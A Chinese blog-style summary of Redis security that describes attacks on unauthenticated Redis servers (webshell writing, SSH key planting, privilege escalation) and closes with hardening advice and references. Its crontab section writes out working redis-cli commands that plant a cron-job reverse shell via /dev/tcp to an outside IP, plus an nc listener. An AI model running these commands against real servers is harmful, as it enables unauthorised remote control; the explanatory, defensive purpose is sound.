Quantcast
Channel: CodeSection,代码区,数据库(综合) - CodeSec
Viewing all articles
Browse latest Browse all 6262

Redis安全小结

$
0
0

=Start=

缘由:

近年来,随着Redis的流行,越来越多的安全研究人员注意到了Redis的安全问题,并通过Redis发起攻击。虽然我不做那方面,但是了解一下和Redis相关的安全攻击手段也是很有必要的。

正文: 和Redis相关的安全问题: 远程未授权访问

利用条件:默认情况下如果没有用「bind指令」对可连接IP做限制,则会出现「远程未授权访问」的情况,易被攻击者用来获取敏感信息以及进行进一步攻击。

利用方式:本地直接用redis-cli或图形化的工具连接远程的Redis数据库。

获取Webshell

利用条件:redis远程未授权访问,知道Web目录的绝对路径,且运行redis的用户有对Web目录的写权限。

利用方式:连上远端未授权访问的redis并用命令向Web目录写入一句话木马(也可以是大马),然后本地用菜刀连接。

获取SSH连接

利用条件:redis远程未授权访问,知道运行redis的用户名,且运行redis的用户可以进行SSH连接。

利用方式:在本地生产公私钥文件,然后连上远端redis并将自己的公钥写入远端服务器的 authotrized_keys 文件里,然后攻击者即可远程利用自己的私钥登录该服务器。

通过Redis提权

利用条件:已获取一个低权限的Webshell,服务器上运行着本地可访问的redis,且运行redis的用户权限较高。

利用方式:通过Webshell操作redis写SSH key文件以进行提权操作。

其他的一些利用(Redis+crontab) $ redis-cliconfigsetdir /var/spool/cron/ $ redis-cliconfigsetdbfilenameroot $ echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/10.2.11.11/8443 0>&1 \n\n" | redis-cli -x set 1 $ redis-clisave [user@10.2.11.11 ~]$ nc -lvv 8443 Redis安全配置 以低权限启动 ; 设置bind指令,限定可以连接Redis服务器的IP ; 修改Redis的默认端口; 设置密码 ; 禁用部分危险命令 ; 如果必需要对外提供服务的话,设置iptables规则; 参考链接: 利用redis写webshell
http://www.leavesongs.com/PENETRATION/write-webshell-via-redis-server.html
http://www.secpulse.com/archives/5357.html redis配置不当可直接导致服务器被控制
http://www.secpulse.com/archives/40406.html Redis 未授权访问配合 SSH key 文件利用分析
http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/ Redis未授权访问
http://singled0g.com/2015/11/12/redis-attack/
http://www.cdxy.me/tag/redis/ Redis安全总结
http://bl4ck.in/index.php/penetration/Attack-Redis.html A few things about Redis security
http://antirez.com/news/96
https://www.reddit.com/r/redis/comments/3zv85m/new_security_feature_redis_protected_mode/
https://news.ycombinator.com/item?id=10537852
http://static.nosec.org/download/redis_crackit_v1.1.pdf redis利用姿势收集
https://phpinfo.me/2016/07/07/1275.html

=END=


Viewing all articles
Browse latest Browse all 6262

Latest Images

Trending Articles